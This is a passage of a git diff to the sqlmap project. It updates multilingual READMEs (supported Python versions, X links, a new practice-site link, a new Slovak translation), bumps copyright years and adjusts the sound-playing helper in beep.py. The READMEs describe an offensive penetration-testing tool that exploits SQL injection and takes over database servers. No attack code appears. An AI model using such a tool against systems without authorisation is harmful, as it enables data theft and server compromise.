funciona em [Python](https://www.python.org/download/) nas versões **2.6**, **2.7** e **3.x** em todas as plataformas. +sqlmap funciona em [Python](https://www.python.org/download/) nas versões **2.7** e **3.x** em todas as plataformas. Como usar ---- @@ -45,6 +45,7 @@ Links * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * Manual do Usuário: https://github.com/sqlmapproject/sqlmap/wiki * Perguntas frequentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://x.com/sqlmap) * Demonstrações: [#1](https://www.youtube.com/user/inquisb/videos) e [#2](https://www.youtube.com/user/stamparm/videos) +* Playground: https://sekumart.sekuripy.hr * Imagens: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-rs-RS.md b/doc/translations/README-rs-RS.md index 6c5bb2c67f1..be2a045905b 100644 --- a/doc/translations/README-rs-RS.md +++ b/doc/translations/README-rs-RS.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap je alat otvorenog koda namenjen za penetraciono testiranje koji automatizuje proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije i preuzimanje baza podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka, preko uzimanja podataka iz baze, do pristupa zahvaćenom fajl sistemu i izvršavanja komandi na operativnom sistemu korištenjem tzv. "out-of-band" veza. @@ -20,7 +20,7 @@ Opciono, možete preuzeti sqlmap kloniranjem [Git](https://github.com/sqlmapproj git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap radi bez posebnih zahteva korištenjem [Python](https://www.python.org/download/) verzije **2.6**, **2.7** i/ili **3.x** na bilo kojoj platformi. +sqlmap radi bez posebnih zahteva korištenjem [Python](https://www.python.org/download/) verzije **2.7** i/ili **3.x** na bilo kojoj platformi. Korišćenje ---- @@ -45,6 +45,7 @@ Linkovi * Prijava problema: https://github.com/sqlmapproject/sqlmap/issues * Korisnički priručnik: https://github.com/sqlmapproject/sqlmap/wiki * Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://x.com/sqlmap) * Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Poligon: https://sekumart.sekuripy.hr * Slike: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-ru-RUS.md b/doc/translations/README-ru-RU.md similarity index 88% rename from doc/translations/README-ru-RUS.md rename to doc/translations/README-ru-RU.md index 634a4488adc..6697515e130 100644 --- a/doc/translations/README-ru-RUS.md +++ b/doc/translations/README-ru-RU.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap - это инструмент для тестирования уязвимостей с открытым исходным кодом, который автоматизирует процесс обнаружения и использования ошибок SQL-инъекций и захвата серверов баз данных. Он оснащен мощным механизмом обнаружения, множеством приятных функций для профессионального тестера уязвимостей и широким спектром скриптов, которые упрощают работу с базами данных, от сбора данных из базы данных, до доступа к базовой файловой системе и выполнения команд в операционной системе через out-of-band соединение. @@ -20,7 +20,7 @@ sqlmap - это инструмент для тестирования уязви git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap работает из коробки с [Python](https://www.python.org/download/) версии **2.6**, **2.7** и **3.x** на любой платформе. +sqlmap работает из коробки с [Python](https://www.python.org/download/) версии **2.7** и **3.x** на любой платформе. Использование ---- @@ -45,6 +45,7 @@ sqlmap работает из коробки с [Python](https://www.python.org/d * Отслеживание проблем: https://github.com/sqlmapproject/sqlmap/issues * Пользовательский мануал: https://github.com/sqlmapproject/sqlmap/wiki * Часто задаваемые вопросы (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://x.com/sqlmap) * Демки: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Песочница: https://sekumart.sekuripy.hr * Скриншоты: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-sk-SK.md b/doc/translations/README-sk-SK.md new file mode 100644 index 00000000000..d5e29b67c3d --- /dev/null +++ b/doc/translations/README-sk-SK.md @@ -0,0 +1,51 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmap je open source nástroj na penetračné testovanie, ktorý automatizuje proces detekovania a využívania chýb SQL injekcie a preberania databázových serverov. Je vybavený výkonným detekčným mechanizmom, mnohými výklenkovými funkciami pre dokonalého penetračného testera a širokou škálou prepínačov vrátane odtlačkov databázy, cez načítanie údajov z databázy, prístup k základnému súborovému systému a vykonávanie príkazov v operačnom systéme prostredníctvom mimopásmových pripojení. + +Snímky obrazovky +---- + +![snímka obrazovky](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Môžete navštíviť [zbierku snímok obrazovky](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), ktorá demonštruuje niektoré funkcie na wiki. + +Inštalácia +---- + +Najnovší tarball si môžete stiahnuť kliknutím [sem](https://github.com/sqlmapproject/sqlmap/tarball/master) alebo najnovší zipball kliknutím [sem](https://github.com/sqlmapproject/sqlmap/zipball/master). + +Najlepšie je stiahnuť sqlmap naklonovaním [Git](https://github.com/sqlmapproject/sqlmap) repozitára: + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap funguje bez problémov s programovacím jazykom [Python](https://www.python.org/download/) vo verziách **2.7** a **3.x** na akejkoľvek platforme. + +Využitie +---- + +Na získanie zoznamu základných možností a prepínačov, použite: + + python sqlmap.py -h + +Na získanie zoznamu všetkých možností a prepínačov, použite: + + python sqlmap.py -hh + +Vzorku behu nájdete [tu](https://asciinema.org/a/46601). +Ak chcete získať prehľad o možnostiach sqlmap, zoznam podporovaných funkcií a opis všetkých možností a prepínačov spolu s príkladmi, odporúčame vám nahliadnuť do [Používateľskej príručky](https://github.com/sqlmapproject/sqlmap/wiki/Usage). + +Linky +---- + +* Domovská stránka: https://sqlmap.org +* Stiahnutia: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) alebo [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Zdroje RSS Commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Sledovač problémov: https://github.com/sqlmapproject/sqlmap/issues +* Používateľská príručka: https://github.com/sqlmapproject/sqlmap/wiki +* Často kladené otázky (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* Demá: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Cvičisko: https://sekumart.sekuripy.hr +* Snímky obrazovky: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots \ No newline at end of file diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md index cf60143f2e9..a1c67a7135c 100644 --- a/doc/translations/README-tr-TR.md +++ b/doc/translations/README-tr-TR.md @@ -1,8 +1,8 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) -sqlmap sql injection açıklarını otomatik olarak tespit ve istismar etmeye yarayan açık kaynak bir penetrasyon aracıdır. sqlmap gelişmiş tespit özelliğinin yanı sıra penetrasyon testleri sırasında gerekli olabilecek bir çok aracı, -uzak veritabınınından, veri indirmek, dosya sistemine erişmek, dosya çalıştırmak gibi - işlevleri de barındırmaktadır. +sqlmap sql injection açıklarını otomatik olarak tespit ve istismar etmeye yarayan açık kaynak bir penetrasyon aracıdır. sqlmap gelişmiş tespit özelliğinin yanı sıra penetrasyon testleri sırasında gerekli olabilecek birçok aracı, uzak veritabanından, veri indirmek, dosya sistemine erişmek, dosya çalıştırmak gibi işlevleri de barındırmaktadır. Ekran görüntüleri @@ -17,13 +17,13 @@ Ekran görüntüleri Kurulum ---- -[Buraya](https://github.com/sqlmapproject/sqlmap/tarball/master) tıklayarak en son sürüm tarball'ı veya [buraya](https://github.com/sqlmapproject/sqlmap/zipball/master) tıklayarak zipbal'ı indirebilirsiniz. +[Buraya](https://github.com/sqlmapproject/sqlmap/tarball/master) tıklayarak en son sürüm tarball'ı veya [buraya](https://github.com/sqlmapproject/sqlmap/zipball/master) tıklayarak zipball'ı indirebilirsiniz. Veya tercihen, [Git](https://github.com/sqlmapproject/sqlmap) reposunu klonlayarak indirebilirsiniz git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap [Python](https://www.python.org/download/) sitesinde bulunan **2.6**, **2.7** and **3.x** versiyonları ile bütün platformlarda çalışabilmektedir. +sqlmap [Python](https://www.python.org/download/) sitesinde bulunan **2.7** ve **3.x** versiyonları ile bütün platformlarda çalışabilmektedir. Kullanım ---- @@ -37,17 +37,18 @@ Bütün seçenekleri gösterir python sqlmap.py -hh -Program ile ilgili örnekleri [burada](https://asciinema.org/a/46601) bulabilirsiniz. Daha fazlası için sqlmap'in bütün açıklamaları ile birlikte bütün özelliklerinin, örnekleri ile bulunduğu [manuel sayfamıza](https://github.com/sqlmapproject/sqlmap/wiki/Usage) bakmanızı tavsiye ediyoruz +Program ile ilgili örnekleri [burada](https://asciinema.org/a/46601) bulabilirsiniz. Daha fazlası için sqlmap'in bütün açıklamaları ile birlikte bütün özelliklerinin, örnekleri ile bulunduğu [manuel sayfamıza](https://github.com/sqlmapproject/sqlmap/wiki/Usage) bakmanızı tavsiye ediyoruz Bağlantılar ---- * Anasayfa: https://sqlmap.org -* İndirme bağlantıları: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* İndirme bağlantıları: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) veya [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Commitlerin RSS beslemeleri: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Hata takip etme sistemi: https://github.com/sqlmapproject/sqlmap/issues * Kullanıcı Manueli: https://github.com/sqlmapproject/sqlmap/wiki * Sıkça Sorulan Sorular(SSS): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://x.com/sqlmap) * Demolar: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Deneme alanı: https://sekumart.sekuripy.hr * Ekran görüntüleri: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-uk-UA.md b/doc/translations/README-uk-UA.md index d7fd412bc63..f55c19ffe32 100644 --- a/doc/translations/README-uk-UA.md +++ b/doc/translations/README-uk-UA.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap - це інструмент для тестування вразливостей з відкритим сирцевим кодом, який автоматизує процес виявлення і використання дефектів SQL-ін'єкцій, а також захоплення серверів баз даних. Він оснащений потужним механізмом виявлення, безліччю приємних функцій для професійного тестувальника вразливостей і широким спектром скриптів, які спрощують роботу з базами даних - від відбитка бази даних до доступу до базової файлової системи та виконання команд в операційній системі через out-of-band з'єднання. @@ -20,7 +20,7 @@ sqlmap - це інструмент для тестування вразливо git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap «працює з коробки» з [Python](https://www.python.org/download/) версії **2.6**, **2.7** та **3.x** на будь-якій платформі. +sqlmap «працює з коробки» з [Python](https://www.python.org/download/) версії **2.7** та **3.x** на будь-якій платформі. Використання ---- @@ -45,6 +45,7 @@ sqlmap «працює з коробки» з [Python](https://www.python.org/dow * Відстеження проблем: https://github.com/sqlmapproject/sqlmap/issues * Інструкція користувача: https://github.com/sqlmapproject/sqlmap/wiki * Поширенні питання (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://x.com/sqlmap) * Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Пісочниця: https://sekumart.sekuripy.hr * Скриншоти: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-vi-VN.md b/doc/translations/README-vi-VN.md index 61fccfe4b92..96d99bee026 100644 --- a/doc/translations/README-vi-VN.md +++ b/doc/translations/README-vi-VN.md @@ -1,16 +1,16 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) -sqlmap là một công cụ kiểm tra thâm nhập mã nguồn mở, nhằm tự động hóa quá trình phát hiện, khai thác lỗ hổng tiêm SQL và tiếp quản các máy chủ cơ sở dữ liệu. Nó đi kèm với -một hệ thống phát hiện mạnh mẽ, nhiều tính năng thích hợp cho người kiểm tra thâm nhập (pentester) và một loạt các tùy chọn bao gồm phát hiện cơ sở dữ liệu, truy xuất dữ liệu từ cơ sở dữ liệu, truy cập tệp của hệ thống và thực hiện các lệnh trên hệ điều hành từ xa. +sqlmap là một công cụ kiểm tra thâm nhập mã nguồn mở, nhằm tự động hóa quá trình phát hiện, khai thác lỗ hổng SQL injection và tiếp quản các máy chủ cơ sở dữ liệu. Công cụ này đi kèm với +một hệ thống phát hiện mạnh mẽ, nhiều tính năng thích hợp cho người kiểm tra thâm nhập (pentester) và một loạt các tùy chọn bao gồm phát hiện, truy xuất dữ liệu từ cơ sở dữ liệu, truy cập file hệ thống và thực hiện các lệnh trên hệ điều hành từ xa. Ảnh chụp màn hình ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) -Bạn có thể truy cập vào [bộ sưu tập ảnh chụp màn hình](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), chúng trình bày một số tính năng có thể tìm thấy trong wiki. +Bạn có thể truy cập vào [bộ sưu tập ảnh chụp màn hình](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) - nơi trình bày một số tính năng có thể tìm thấy trong wiki. Cài đặt ---- @@ -18,25 +18,25 @@ Cài đặt Bạn có thể tải xuống tập tin nén tar mới nhất bằng cách nhấp vào [đây](https://github.com/sqlmapproject/sqlmap/tarball/master) hoặc tập tin nén zip mới nhất bằng cách nhấp vào [đây](https://github.com/sqlmapproject/sqlmap/zipball/master). -Tốt hơn là bạn nên tải xuống sqlmap bằng cách clone với [Git](https://github.com/sqlmapproject/sqlmap): +Tốt hơn là bạn nên tải xuống sqlmap bằng cách clone về repo [Git](https://github.com/sqlmapproject/sqlmap): git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap hoạt động hiệu quả với [Python](https://www.python.org/download/) phiên bản **2.6**, **2.7** và **3.x** trên bất kì hệ điều hành nào. +sqlmap hoạt động hiệu quả với [Python](https://www.python.org/download/) phiên bản **2.7** và **3.x** trên bất kì hệ điều hành nào. Sử dụng ---- -Để có được danh sách các tùy chọn cơ bản, hãy sử dụng: +Để có được danh sách các tùy chọn cơ bản và switch, hãy chạy: python sqlmap.py -h -Để có được danh sách tất cả các tùy chọn, hãy sử dụng: +Để có được danh sách tất cả các tùy chọn và switch, hãy chạy: python sqlmap.py -hh -Bạn có thể xem video chạy thử [tại đây](https://asciinema.org/a/46601). -Để có cái nhìn tổng quan về các khả năng của sqlmap, danh sách các tính năng được hỗ trợ và mô tả về tất cả các tùy chọn, cùng với các ví dụ, bạn nên tham khảo [hướng dẫn sử dụng](https://github.com/sqlmapproject/sqlmap/wiki/Usage) (Tiếng Anh). +Bạn có thể xem video demo [tại đây](https://asciinema.org/a/46601). +Để có cái nhìn tổng quan về sqlmap, danh sách các tính năng được hỗ trợ và mô tả về tất cả các tùy chọn, cùng với các ví dụ, bạn nên tham khảo [hướng dẫn sử dụng](https://github.com/sqlmapproject/sqlmap/wiki/Usage) (Tiếng Anh). Liên kết ---- @@ -44,9 +44,10 @@ Liên kết * Trang chủ: https://sqlmap.org * Tải xuống: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) hoặc [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Nguồn cấp dữ liệu RSS về commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom -* Theo dõi vấn đề: https://github.com/sqlmapproject/sqlmap/issues +* Theo dõi issue: https://github.com/sqlmapproject/sqlmap/issues * Hướng dẫn sử dụng: https://github.com/sqlmapproject/sqlmap/wiki * Các câu hỏi thường gặp (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://x.com/sqlmap) * Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Sân tập: https://sekumart.sekuripy.hr * Ảnh chụp màn hình: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-zh-CN.md b/doc/translations/README-zh-CN.md index 7bff7213503..7157d361fac 100644 --- a/doc/translations/README-zh-CN.md +++ b/doc/translations/README-zh-CN.md @@ -1,26 +1,26 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) -sqlmap 是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过带外数据连接的方式执行操作系统命令。 +sqlmap 是一款开源的渗透测试工具,可以自动化进行SQL注入的检测、利用,并能接管数据库服务器。它具有功能强大的检测引擎,为渗透测试人员提供了许多专业的功能并且可以进行组合,其中包括数据库指纹识别、数据读取和访问底层文件系统,甚至可以通过带外数据连接的方式执行系统命令。 演示截图 ---- ![截图](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) -你可以访问 wiki上的 [截图](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) 查看各种用法的演示 +你可以查看 wiki 上的 [截图](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) 了解各种用法的示例 安装方法 ---- -你可以点击 [这里](https://github.com/sqlmapproject/sqlmap/tarball/master) 下载最新的 `tar` 打包的源代码 或者点击 [这里](https://github.com/sqlmapproject/sqlmap/zipball/master)下载最新的 `zip` 打包的源代码. +你可以点击 [这里](https://github.com/sqlmapproject/sqlmap/tarball/master) 下载最新的 `tar` 打包好的源代码,或者点击 [这里](https://github.com/sqlmapproject/sqlmap/zipball/master)下载最新的 `zip` 打包好的源代码. -推荐你从 [Git](https://github.com/sqlmapproject/sqlmap) 仓库获取最新的源代码: +推荐直接从 [Git](https://github.com/sqlmapproject/sqlmap) 仓库获取最新的源代码: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap 可以运行在 [Python](https://www.python.org/download/) **2.6**, **2.7** 和 **3.x** 版本的任何平台上 +sqlmap 可以运行在 [Python](https://www.python.org/download/) **2.7** 和 **3.x** 版本的任何平台上 使用方法 ---- @@ -33,17 +33,18 @@ sqlmap 可以运行在 [Python](https://www.python.org/download/) **2.6**, **2. python sqlmap.py -hh -你可以从 [这里](https://asciinema.org/a/46601) 看到一个sqlmap 的使用样例。除此以外,你还可以查看 [使用手册](https://github.com/sqlmapproject/sqlmap/wiki/Usage)。获取sqlmap所有支持的特性、参数、命令行选项开关及说明的使用帮助。 +你可以从 [这里](https://asciinema.org/a/46601) 看到一个 sqlmap 的使用样例。除此以外,你还可以查看 [使用手册](https://github.com/sqlmapproject/sqlmap/wiki/Usage)。获取 sqlmap 所有支持的特性、参数、命令行选项开关及详细的使用帮助。 链接 ---- * 项目主页: https://sqlmap.org * 源代码下载: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) -* RSS 订阅: https://github.com/sqlmapproject/sqlmap/commits/master.atom -* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues +* Commit的 RSS 订阅: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* 问题跟踪器: https://github.com/sqlmapproject/sqlmap/issues * 使用手册: https://github.com/sqlmapproject/sqlmap/wiki * 常见问题 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://x.com/sqlmap) * 教程: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* 靶场: https://sekumart.sekuripy.hr * 截图: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/extra/__init__.py b/extra/__init__.py index 8476fab2f94..bcac841631b 100644 --- a/extra/__init__.py +++ b/extra/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/extra/beep/__init__.py b/extra/beep/__init__.py index 8476fab2f94..bcac841631b 100644 --- a/extra/beep/__init__.py +++ b/extra/beep/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/extra/beep/beep.py b/extra/beep/beep.py index ad932834021..9e1acd04b0d 100644 --- a/extra/beep/beep.py +++ b/extra/beep/beep.py @@ -3,7 +3,7 @@ """ beep.py - Make a beep sound -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -18,7 +18,7 @@ def beep(): if sys.platform.startswith("win"): _win_wav_play(BEEP_WAV_FILENAME) elif sys.platform.startswith("darwin"): - _mac_beep() + _mac_wav_play(BEEP_WAV_FILENAME) elif sys.platform.startswith("cygwin"): _cygwin_beep(BEEP_WAV_FILENAME) elif any(sys.platform.startswith(_) for _ in ("linux", "freebsd")): @@ -40,9 +40,8 @@ def _speaker_beep(): def _cygwin_beep(filename): os.system("play-sound-file '%s' 2>/dev/null" % filename) -def _mac_beep(): - import Carbon.Snd - Carbon.Snd.SysBeep(1) +def _mac_wav_play(filename): + os.system("afplay '%s' 2>/dev/null" % BEEP_WAV_FILENAME) def _win_wav_play(filename): import winsound @@ -50,7 +49,7 @@ def _win_wav_play(filename): winsound.PlaySound(filename, winsound.SND_FILENAME) def _linux_wav_play(filename): - for _ in ("aplay", "paplay", "play"): + for _ in ("paplay", "aplay", "mpv", "mplayer", "play"): if not os.system("%s '%s' 2>/dev/null" % (_, filename)): return diff --git a/extra/cloak/__init__.py b/extra/cloak/__init__.py index 8476fab2f94..bcac841631b 100644 --- a/extra/cloak/__init__.py +++ b/extra/cloak/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers 